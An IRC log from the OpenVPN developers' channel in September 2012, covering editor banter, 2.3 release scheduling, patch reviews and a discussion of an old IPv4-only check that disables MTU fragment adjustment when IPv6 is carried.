there :) 02:52 < plaisthos> dazo: okay thanks :) 02:52 < plaisthos> GNU C style uses char *foo; 02:52 <@dazo> plaisthos: the openvpn coding style is "uniquely odd" 02:52 < plaisthos> dazo: :) 02:53 <@dazo> but I think our approach is to "silently" agree on something here, and slowly adopt the code towards that style in all our patches ... to avoid any time consuming flame war on the ML 02:54 <@dazo> and when we've done that for a while ... we can, commit a "code style clean-up patch" 02:54 <@dazo> "for the sake of coherence" 02:54 * dazo is in "evil planning" mood :) 02:55 * plaisthos changes GNU Coding style to "Indentation follows GNU Coding Style" 02:56 <@dazo> :) 02:57 < plaisthos> Perhaps it is like writing sane c code but using the strange GNU Coding indentation rules given by the editor 02:58 <@dazo> I corrected the "8 space tabs" error 03:06 < plaisthos> to make it more absurd we should use python whitespace rule which states that 1 tab is equal to 7 space iirc 03:07 <@dazo> I would rather prefer to ban tabs all together ... it's so dependent on the editor and it's configuration 03:07 <@dazo> so what looks sane in your editor, might not look sane in mine - because we have exactly these small differences in the configs 03:08 <@dazo> 8 spaces == 8 spaces no matter which editor you are in ... so much more predictable 03:08 <@dazo> (and any sane editor will do the proper indenting and cursor moving, no matter if it's spaces or tabs) 03:38 <@vpnHelper> RSS Update - wishlist: Flooding of bridged packets to unknown MAC addresses <http://forums.openvpn.net/topic11225.html> 04:28 <@cron2> .oO(he *did* say "sane editor"... now that's a perfect basis for a flame fest!) 04:29 < plaisthos> Nah I prefer my editor over this "sane" editor I never heard of d: 04:30 <@cron2> plaisthos: true, but what you use is not an editor, it's an operating system with a funny built-in editor (unless you run m-x vi) :-) 04:30 < plaisthos> M-x vi-mode or M-x viper-mode 04:31 < plaisthos> But most people saying vi is the best vi have never used a real vi 04:31 <@d12fk> $ apt-cache show sane 04:31 <@d12fk> Package: sane 04:31 <@d12fk> Description-en: scanner graphical frontends 04:31 <@d12fk> sane != editor 04:31 <@d12fk> </flame-war> 04:31 <@dazo> lol 04:32 < plaisthos> d12fk: you could print out the source code, edit it and scan/ocr it back in 04:32 < plaisthos> :D 04:32 <@cron2> plaisthos: that's so true. Real VI has no cursor keys :-) 04:32 <@d12fk> hjkl 04:32 <@dazo> vi == an improved edlin *duck&run* 04:32 < plaisthos> :) 04:33 <@cron2> d12fk: exactly. much faster than moving your hands around 04:33 <@cron2> dazo: I bet you use something gnomeish which takes half an hour to load... :-) 04:34 <@cron2> and then you can only see 5 lines of text, due to all the window decorations and toolbars around 04:34 <@d12fk> my kate produces most obscure patchsets -> KDE again =) 04:34 <@dazo> cron2: heh ... I belong to the emacs crowd :) 04:34 <@cron2> uh 04:34 * cron2 feels cornered 04:35 <@d12fk> reminds me of discussions about x-point vs. terminate =) 04:35 <@dazo> but I dislike the size of emacs, tbh ... but I've not become so desperate to try any of the emacs clones ... but all the keyboard shortcuts are in my fingertips, so it's hard to change 04:36 <@dazo> away from emacs 04:36 <@cron2> dazo: is the size of emacs a real concern nowadays? I would bet that some of the more "improved" vi clones (like vim) come with more fat... 04:36 <@cron2> back in the days, where EMACS was an acronym for "eight megs and constantly swapping", that mattered... 04:37 <@d12fk> 15660 heiko 20 0 313m 198m 42m S 0 4.9 76:28.11 kate 04:37 <@dazo> well, it takes 3-5 sec to start emacs ... and 1 sec to load vi ... yes, I do feel that ... esp. when an odd bug in emacs during startup causes it to crash 04:37 <@d12fk> in your face 04:37 <@dazo> hehehe 04:37 <@dazo> well, yeah ... kate is cruel :) 04:37 * dazo is very happy his wife is not named kate now .... 04:38 <@dazo> "Man my Kate is so big, fat and cruel" 04:39 <@dazo> d12fk: Have you tried Anjuta? 04:39 <@d12fk> had no need for s.th. else as of yet 04:40 <@dazo> fair enough :) I looked at that one because I could get some more sane (emacsish) shortcuts there ... but it's too GUI for me :) 04:40 <@dazo> (but it got some nice features, I must admit) 04:40 <@d12fk> ah it's an IDE, dislike 04:41 <@dazo> yeah, it is 04:41 <@d12fk> might work for GUIs, but when you're compiling and editing on a remote machine thing get complicated and/or slow 04:47 <@dazo> agreed 05:01 <@cron2> dazo: with your holiday looming - shall we try to do beta1 befor your holidays, then, and 2.3-release afterwards (unless something nasty shows up)? We really need to get 2.3 out 05:02 <@dazo> cron2: yeah, that sounds like a good idea 05:02 <@cron2> 2.3alpha4 "as soon as the patches are in, and the buildbot tests have run" 05:02 <@cron2> (like "tomorrow") 05:02 <@dazo> mattock: you're able to make to make your magic that quick? 05:03 <@mattock> uh, that's fast 05:04 <@dazo> mattock: well, if we're having the source balls ready by Wednesday ... and release on Fridayish ... or something like that? 05:04 <@mattock> 2.3-alpha4? or 2.3-beta1 05:04 <@mattock> yeah, that'd work 05:04 <@cron2> alpha4, and beta1 on september 15 05:04 <@mattock> tomorrow is too soon, caught me off-guard :) 05:05 <@dazo> For the beta1 ... we need to review and test the --compat-names patch from d12fk ... and the CID patch from plaisthos + the fixup which was sent to the list this morning 05:05 <@mattock> why alpha4 only ~1 week before beta1? 05:06 <@cron2> mattock: dazo plans to do 4-week vacation mid-september to mid-october 05:06 <@mattock> i.e. what's the point? :) 05:06 <@dazo> alpha3 have not caused any big earth quakes :) 05:06 <@dazo> and the changeset for alpha4 is not terrifying at all 05:06 <@cron2> we could skip alpha4 and go for beta1 right away (end of next week) 05:06 <@mattock> why not push out beta1 on september 15th? 05:07 <@mattock> the release process is still pretty heavy, taking maybe 4 hours 05:07 <@mattock> so I'd prefer skipping alpha4 if we don't lose much 05:07 <@cron2> you need to automate that :) and we need to do release much more often 05:07 <@mattock> yeah, we should 05:07 <@mattock> but there's not that much more that I can automate 05:08 <@mattock> most of the time is taken by Windows installers + testing + editing stuff on the webservers 05:08 <@mattock> and all the announcements 05:08 <@mattock> basically small stuff that adds up 05:31 <@vpnHelper> RSS Update - tickets: #219: man page could need improvements in the --keepalive section <https://community.openvpn.net/openvpn/ticket/219> 05:34 <@dazo> andj: can you please have a look at this one? https://community.openvpn.net/openvpn/ticket/157 05:34 <@vpnHelper> Title: #157 (Use SSL_MODE_RELEASE_BUFFERS if available) – OpenVPN Community (at community.openvpn.net) 05:42 < plaisthos> I just check #219 and openvpn indeed double the server restart timeout 05:43 <@dazo> plaisthos: yeah, and that's probably for a good reason - it's been like that for ever ... and if you look at my suggestion (linked in ticket), I did an attempt of improving it 05:43 <@dazo> (but maybe that got a bit too technical ;-)) 05:45 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 05:47 -!- andj [~adriaan@5ED162FB.cm-7-2b.dynamic.ziggo.nl] has joined #openvpn-devel 05:47 -!- andj [~adriaan@5ED162FB.cm-7-2b.dynamic.ziggo.nl] has quit [Changing host] 05:47 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 05:47 -!- mode/#openvpn-devel [+o andj] by ChanServ 05:57 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 05:58 < plaisthos> dazo: yeah a sentence like the server timeout is the double timeout of client so that a client timeout will occur before server timeout should suffice 06:03 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:03 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:34 < plaisthos> what about: 06:34 < plaisthos> The server timeout is set twice the value of the second argument. 06:34 < plaisthos> This ensures that a timeout is dectected on client side before the 06:34 < plaisthos> before server side drops the connection. 06:37 <@dazo> plaisthos: sounds good to me! 06:56 < plaisthos> I will submit it as patch then 06:56 <@dazo> plaisthos: thx a lot! 06:58 < plaisthos> Some day I will send a patch is a non broken subject 06:58 < plaisthos> Some day I will send a patch with a non broken subject 06:58 <@dazo> hehe :) Never give up! ;-) 06:58 < plaisthos> Ignore the [PATCH 2/2] 06:58 < plaisthos> :/ 06:59 < plaisthos> I bet some people will believe inlining is a 2.3 feature since was not documented before 06:59 <@dazo> plaisthos: that makes it just a tech-preview in earlier versions ;-) 06:59 < plaisthos> :D 07:01 <@dazo> *sigh* it so much crappy trac bug tickets ... I've been closing quite some today, as they're just "drive-by-tickets" where they don't respond 07:03 <@cron2> dazo: what about your reconnection issue? That seems to be one of the major outstanding things 07:03 <@dazo> Yeah, it is ... it's on my list to debug before my holiday 07:04 <@dazo> and my wife will be travelling this weekend, so that's a golden opportunity :) 07:04 <@cron2> plaisthos: it's not just your mail client... 07:04 <@cron2> +This ensures that a timeout is dectected on client side before the 07:04 <@cron2> +before server side drops the connection. 07:05 <@cron2> ... an extra "before" sneaked in... 07:12 < plaisthos> :( 07:16 < plaisthos> let me try again ... 07:19 < plaisthos> This time the subject looks good 07:20 < plaisthos> (and the extra whitespace is removed too as a bonus) 07:25 < plaisthos> Damn! I forgot the in-reply-to 07:27 <@cron2> "welcome to the git training camp" :-) 07:29 < plaisthos> What I learned from hg and git. They both have broken user interface. They are only broken differntly 07:43 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 07:46 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:46 -!- mode/#openvpn-devel [+o andj] by ChanServ 07:51 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 07:56 * dazo wonders if andj tries to hide from us .... 07:56 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:56 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:10 <@vpnHelper> RSS Update - tickets: #16: Problems mixing UDP- and TCP-based connection profiles with --auto-proxy <https://community.openvpn.net/openvpn/ticket/16> 12:04 <@andj> dazo: that patch doesn't look unreasonable, I'm not sure whether it has a performance impact though 12:04 <@andj> dazo: It's based on 2.2 though, so it wouldn't apply on master 12:04 <@dazo> andj: would it be worth pulling in? 12:05 <@cron2> isn't --auto-proxy non-existing anymore? 12:05 <@andj> It only works on OpenSSL 1.0.0a+ afaict 12:05 <@cron2> ah, different patch 12:06 <@dazo> cron2: :) --auto-proxy is history :) I've closed quite some bugs related to that ... so that was a good decision :-P 12:07 <@cron2> \o/ 12:07 <@cron2> (I saw the RSS update regarding ticket 16, and then andj "that doesn't look unreasonable" -but there was 4 hours in between :) ) 12:07 <@andj> I'm a bit slow atm :) 12:08 <@cron2> andj: btw, removing the trust extentions worked, and OpenVPN+Polar now eats our corp CA cert just fine. Any word from Paul on that? ;-) 12:08 <@andj> but normal service is slowly getting reinstated... Now I can actually look at the bug you found :) 12:08 <@andj> cron2: only that he was away for a few days, and thanks for the report 12:09 <@andj> he's going to fix it, the only question is when exactly 12:09 <@andj> He's quite far on blowfish btw 12:09 <@andj> See the top few diffs: http://polarssl.org/trac/log/ 12:09 <@vpnHelper> Title: / (log) – PolarSSL Trac page (at polarssl.org) 12:10 <@andj> and I heartd a rumour about EC-DSA EC-DH and just plain EC 12:11 <@cron2> andj: regarding blowfish, I've been told that this is actually waiting for dazo to test on S390 or so 12:11 <@andj> There's some other nice features for OpenVPN in there too: CA path support, and external key support is also in the worsk 12:11 <@cron2> woo-hoo! :-) 12:11 <@andj> worsk = works 12:11 <@cron2> thought so :) 12:14 <@andj> anyway, dazo: the OpenSSL patch doesn't look unreasonable, it just needs some work in syshead, and support in ssl_openssl.c instead of ssl.c 12:14 <@dazo> andj: okay ... then we'll look at that :) thx for checking it out :) 12:15 <@dazo> however, I would probably avoid modifying syshead.h ... and rather look at autotools ... 12:15 <@andj> yeah, one or the other 12:15 <@dazo> syshead will die one day :) 12:15 <@andj> I'm not 100% positive which one is politically correct nowadays :) 12:16 <@dazo> hehehe 12:16 <@andj> But come to think of it, autotools sounds like the right choice :) 12:17 * cron2 silently hopes for autotools to become sane, as in "not checking anything that is known to be available on a POSIX compliant OS" 12:17 <@cron2> (and "not checking anything that OpenVPN does not care about") 12:20 * dazo feels the urge for some dinner :) 12:20 < noshadow> cron2: autoconf itself only has quite a small set of fixed checks. Everything else is configurable. (with libtool it gets ugly, but that is only needed if one builds libraries). 12:21 -!- dazo is now known as dazo_afk 12:21 <@cron2> I'm aware of that, but autoconf seems to encourage "give me all, I paid for it!"-style usage 12:22 <@cron2> actually you only need libtool if you want to build dynamic libraries (and there it makes sense, because shlibs across platforms is a nightmare in itself) 12:22 <@cron2> for static libraries, the good ole "ar rv ; ranlib" thingie works :) 12:24 < noshadow> cron2: sadly static libraries are not really supported nowadays anymore... 12:24 <@cron2> for "is made available for other projects to use", that's fine, but for our internal use, static is all we do 12:24 <@cron2> (we have shared objects in the plugins, tho) 12:26 * noshadow is also generating optional plugins in plain automake without libtool. But that is quite hackish... 13:17 <@cron2> \o/ 13:17 <@cron2> automated server side test 13:17 <@cron2> Test sets succeded: 1 1a 2 2a 2b 3 4 5 9. 13:17 <@cron2> Test sets failed: none. 13:17 <@cron2> (server on gentoo, client on fbsd74, testing tun/tap/p2p/p2mp/ipv4/ipv6/udp/tcp) 13:43 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 13:44 -!- Guest5143 [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:44 -!- mode/#openvpn-devel [+o Guest5143] by ChanServ 21:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:07 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Sep 04 2012 06:03 -!- Guest5143 [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 06:16 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:16 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:36 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 06:37 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:37 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:46 -!- dazo_afk is now known as dazo 08:54 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 09:11 -!- Guest14489 [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:11 -!- mode/#openvpn-devel [+o Guest14489] by ChanServ 09:12 <@ecrist> good morning folks 09:17 < plaisthos> good evening :) 09:18 < plaisthos> ecrist: You either live in another timezone or are standing up very late :D 09:19 <@ecrist> Tue Sep 4 09:19:40 CDT 2012 09:20 < plaisthos> Di 4 Sep 2012 16:20:43 CEST 09:20 < plaisthos> :) 09:21 <@ecrist> indeed. 10:53 < noshadow> is there any older code history available than in the git repository? or anything else where one could get a idea why something is implemented the way it is (trying to understand why mtu hints are ignored when transporting ipv6 (i.e. the ipv4_tun variable) 11:04 <@cron2> well, it's called "ipv4_tun"... 11:05 <@cron2> but seriously: the whole MTU handling is somewhat... interesting... and I did not dig into it yet, to understand what it does and why, to adapt it to IPv6. It's not really necessary, though, as things seem to work with large IPv6 packet payload just fine as is 11:06 <@cron2> (if needed, the encapsulated packet will get fragmented, and reassembled) 11:07 < noshadow> cron2: from what I understand, all that the variable does it no longer adopting package sizes if my tunnel also transports ipv6. What it the point in that? 11:07 <@cron2> IPv6 in OpenVPN is not yet feature-complete compared to IPv4 - things like redirect-gateway are missing as well 11:07 <@dazo> noshadow: cron2 is the one who implemented the IPv6 payload support ;-) 11:07 <@cron2> noshadow: IPv4 MTU handling happens as before, and there is no IPv6 MTU handling 11:08 <@dazo> cron2: does that also cover TAP mode? ... as in TAP mode I would expect you to suddenly be in a different layer MTU-wise 11:08 < noshadow> cron2: does it? AFIUI it if I also transport ipv6 that ipv4_tun in false which means fragment size is no longer changed. So even ipv4 packages are sent in too big packages. 11:09 <@cron2> dazo: in tap mode, OpenVPN does not know anything about IPv4 and IPv6 11:09 <@cron2> dazo: so it makes no difference 11:10 <@cron2> noshadow: you raise a good point there - I was not aware that a) ipv4_tun exists, and that b) it's tied to tun_ipv6 11:10 <@cron2> do_open_tun (struct context *c) 11:10 <@cron2> { 11:10 <@cron2> c->c2.ipv4_tun = (!c->options.tun_ipv6 11:10 <@cron2> && is_dev_type (c->options.dev, c->options.dev_type, "tun")) 11:10 * cron2 does not really *want* to know 11:10 <@dazo> cron2: ahh, okay ... I thought it was some code paths which intercepted some of the packets for a few special cases ... but I probably have bad memory 11:11 < noshadow> cron2: that variable is set in one place and used in one place. And I do not see why the place where it is used something should behave differently in that case. 11:11 <@cron2> dazo: it does, but only in tun mode ("as far as I know", but I'm far from understanding all of the code) 11:11 <@dazo> cron2: then we're two about that ;-) 11:11 <@cron2> noshadow: that bit is actually older than the 2.3 ipv6 transport changes 11:12 <@cron2> there was some limited support in 2.2 for IPv6 tunnels (which basically changed the way OpenVPN talks to the OS, but didn't do point-to-multipoint) and I guess it was added there 11:13 <@cron2> figuring out what exactly the MTU stuff does *is* on my agenda, so I add c2.ipv4_tun to it. Weird stuff. 11:14 <@cron2> noshadow: and regarding code history: I think that was actually in 2.1 already, which is all in svn, not git - so you might find answers there, or not "that was before my time" 11:15 < noshadow> cron2: as far as I understand it that && c->c2.ipv4_tun just makes --fragment no longer work if I also transport IPv6. 11:15 <@cron2> I can see what it does, but I have no explanation why it would do that, or why anybody thought that would make sense 11:16 <@cron2> one would need to figure out what exactly ->mtu_changed is (who sets it? why?), what frame_adjust_path_mtu() does, etc. 11:17 * cron2 will look into it, but promises no timelines 11:17 < noshadow> cron2: mtu_changed is set if someone told MTU is too big (because of the NF bit set by --mtu-disc=yes) 11:18 < noshadow> cron2: and frame_adjust_path_mtu adjusts the dynamic mut size (so fragmented packets become smaller) 11:19 <@cron2> need to leave now, will be back in ~3 hours and read up what else you found :) 11:20 < noshadow> cron2: that is all I found (and that without --fragment it has nothing else that could be called MTU support at all) 11:25 <@ecrist> it'd be nice if openvpn could automatically figure out MTU and adjust accordingly 12:19 < noshadow> cron2: found it. Looks like back in 1.4 openvpn had actual MTU path detection support (which is of course protocol specific and was only supported for ipv4). With 1.5 rc it was replaced with manual packet fragmentation (which is no longer ipv4/ipv6 specific) but someone forgot to remove the last usage of tun_ipv4. (SVN commit 318). 12:22 < noshadow> cron2: or rather, manual packet fragmentation was already there, but now no longer made visible. 14:02 -!- dazo is now known as dazo_afk 14:13 < plaisthos> wow 1.4/1.5 that is really ancient 14:48 <@cron2> re 14:49 <@cron2> noshadow: I think I know what the reasoning might be - if the payload is IPv6, the "need to adjust fragmentation" bit might be triggered for every single packet, which is resource intensive and not useful. Or so. (There's quite a bit of "avoid work if..." code) 14:53 <@cron2> there's quite an amout of mtu-related options... 19:48 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 20:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:06 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 23:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Sep 05 2012 02:40 < noshadow> cron2: why would ipv6 payload change anything about the packet size openvpn can transmit? (and with some NF bit, packages just get not through, so not adjusting means nothing arrives) 02:44 <+krzee> i would assume the answer relates to different header size 02:44 <+krzee> but dont listen to me, i wouldnt know ;] 02:50 < noshadow> krzee: I think the "only do if ipv4" only is a bug that is a left-over from when openvpn did Path MTU announcements which it only supported on ipv4. 02:59 <+krzee> https://forums.openvpn.net/topic11225.html 02:59 <@vpnHelper> Title: OpenVPN Support Forum Flooding of bridged packets to unknown MAC addresses : Wishlist (at forums.openvpn.net) 03:32 < plaisthos> noshadow: You could write a patch that removes that old broken feature and submit it to the mailing list 03:46 <@cron2> noshadow: OpenVPN doesn't know how to fragment IPv6 03:47 <@cron2> so this function would trigger for every oversized IPv6 packet, but there is nothing that can be done about it 03:48 <@cron2> plaisthos: it's not *that* simple 03:49 <@cron2> one would need to change the actual fragment handling to verify "is this an IPv4 packet we're looking at? if yes, fragment, if not, send ICMPv6 PTB" (as routers must not fragment IPv6 packets) 03:56 < plaisthos> cron2: :/ 04:14 <@cron2> plaisthos: when you're done with socket.c, you could then take up the frag/mtu handling :-) 04:22 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 04:22 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 240 seconds] 04:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:35 < noshadow> cron2: does openvpn even fragment packets? I thought it just transmits the data in multiple packets with --fragment. 04:35 <@cron2> I'm not sure what it does - if it splits/reassembles the packet itself, this should be no problem with IPv6 either. If it does IPv4 fragmentation, it won't work 04:35 <@cron2> I assumed it would do IPv4 fragmentation 04:36 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 04:36 < plaisthos> re 04:36 < noshadow> cron2: and even if there was a problem with ipv6 then it should refuse the option, and not do normal fragmenting and simply ignore the info that packets could not be transported if there also is a ipv6 payload. 04:37 <@cron2> noshadow: re-read the manpage - I think you're right, it's not "IP fragmentation" but "internal OpenVPN fragmentation", so in that case, just removing the check for IPv4-only would be fine (but the check for "is it tun mode?" might still make sense) 04:38 <@cron2> (but that just supports my statement from yesterday "need to understand what the code is doing" :-) ) 04:39 <@cron2> noshadow: you could change it, test with IPv4 and IPv6 payload of varying size, and send a patch with your findings to the list... ;-) 04:42 < noshadow> cron2: Already sent a patch yesterday, but only marked it RFC and not PATCH as I have not yet tested tap. (But I guess it will work with the patch and not work without the patch just like the not-only-ipv4-tun case). 04:45 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Remote host closed the connection] 04:46 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 04:53 <@cron2> mmmh, haven#t seen anything yet... 04:54 < noshadow> cron2: mailman.181311.1346781710.24871.openvpn-devel@lists.sourceforge.net 04:56 <@cron2> hasn't arrived here yet :-/ 04:57 <@cron2> sourceforge archive doesn't show it either 04:58 < noshadow> cron2: oh, that was not the message I got but the rejection message... 05:05 <@cron2> ah, ic, which explains why I didn't see anything. I think you need to subscribe to post 05:07 < noshadow> cron2: I subscribed, but perhaps it tries to match From: with subscriber list and not the return path... 05:16 < noshadow> there it is... 05:37 -!- dazo_afk is now known as dazo 06:41 <@cron2> yep, can see it in gmane 07:46 <@ecrist> good morning. 07:48 < plaisthos> ecrist: good morning 07:49 <@ecrist> well, to you, good evening. ;) 07:50 <@cron2> naah, guiden middach it is 13:14 -!- dazo is now known as dazo_afk 13:53 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:34 -!- Guest14489 [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 14:42 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:42 -!- mode/#openvpn-devel [+o andj] by ChanServ 19:35 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Read error: Operation timed out] 21:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 23:08 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Sep 06 2012 02:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 02:29 -!- dazo_afk is now known as dazo 03:37 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 03:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:06 <@mattock> trac upgrade seems to go fairly smoothly 05:25 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:25 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:25 <+janjust> afternoon, everybody 05:25 <+janjust> ping dazo 05:26 <@dazo> janjust: pong 05:26 <+janjust> yo dazo, can I pm you for a sec? 05:26 <@dazo> sure :) 10:02 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 14:27 -!- dazo is now known as dazo_afk 22:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Sep 07 2012 00:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 01:31 -!- dazo_afk is now known as dazo 03:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:48 -!- dazo is now known as dazo_afk 07:55 -!- dazo_afk is now known as dazo 10:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 11:18 -!- dazo is now known as dazo_afk 11:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:21 <+krzee> <peetaur2> I read previously taht it is impossible to use a tun on windows clients, so I am using tap. 13:21 <+krzee> ^ why i hate the name of the windows "tap device" name 13:21 <+krzee> s/name$// 13:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 15:17 <@cron2> well, it used to be a tap-only driver... 16:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 21:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:48 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 21:51 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:51 -!- mode/#openvpn-devel [+v krzie] by ChanServ 22:00 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Sat Sep 08 2012 01:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] --- Day changed Sun Sep 09 2012 02:22 <@cron2> dazo: cool! 05:11 < plaisthos> translating software is much more work than I anticipated --- Day changed Mon Sep 10 2012 01:49 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 01:49 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:44 -!- dazo_afk is now known as dazo 02:51 <@dazo> mattock: can you please see if you can manage to get James to review the patch I sent to the mailing list this weekend? http://thread.gmane.org/gmane.network.openvpn.devel/7044 02:51 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 02:52 <@dazo> As it's a workaround more than what I'd consider a complete fix, I'd like James to weight in on it ... if possible ... if I hear nothing this week, I'll commit it based on cron2's ACK 02:54 <@dazo> (A proper fix would be to find a good place where to reset the sent_push_reply flag. But all my attempts to do so, didn't solve it - as it seems I didn't get the expected session context ... and I didn't have enough brain capacity to figure out where the proper context could be found) 02:56 <@cron2> my ACK is to be considered "I agree with all the reasoning, it solves the problem, and we want to get this fixed for beta1" :-) - so if James comes up with a different solution, perfectly fine with me 02:57 <@cron2> but anyway, I'm happy that this has been cornered now :-) - any other blockers left for 2.3? 03:07 <@dazo> yeah, that was my intention ... point at what's wrong and one way to get around this bug ... for beta1, I'd probably just like to have the --compat-names from d12fk reviewed and applied if good + what's already ACKed 03:07 <@dazo> but I can't see any other big blockers 03:07 * dazo will try to review the --comat-names patch today 03:22 <@dazo> mattock: just a tip ... If I were you, I'd probably modify ServerTokens in httpd.conf to be 'Prod' ... now it is 'Full' or not set 03:23 <@mattock> dazo: ok, I'll squeeze him 03:23 <@dazo> that's on community server 03:23 <@dazo> thx!! 03:24 <@mattock> dazo: I hope to get a new VM for community soonish 03:24 <@mattock> tested Trac upgrade on a private VM and it seemed to go smoothly 03:24 <@mattock> I'll fix that while I'm at it 03:25 <@dazo> ahh, nice 03:40 <@mattock> mail sent 03:43 <@dazo> mattock: thx! 07:16 <@dazo> d12fk: got a few minutes to discuss your --compat-names patch? 07:18 <@d12fk> soon 07:18 <@d12fk> dazo: i'll page you then 07:18 <@dazo> d12fk: thx! 08:24 <@ecrist> mattock: new VM for what? 08:33 < plaisthos> I could have sworn that I had sent a third version of my EXTERNAL_PRIVATE_KEY patch to the mailing list 08:33 <@cron2> didn't I ACK that already? 08:37 < plaisthos> yes 08:38 < plaisthos> I am cleaning my git/mercurial mess of my android stuff up 08:39 < plaisthos> started fresh from git master and reapplied the android patches 08:42 < plaisthos> Just found out that this patch fails since my patch never sets priv_key_file 08:42 < plaisthos> if (options->priv_key_file) 08:42 < plaisthos> msg(M_USAGE, "Parameter --key cannot be used when --pkcs12 is also specified."); 08:43 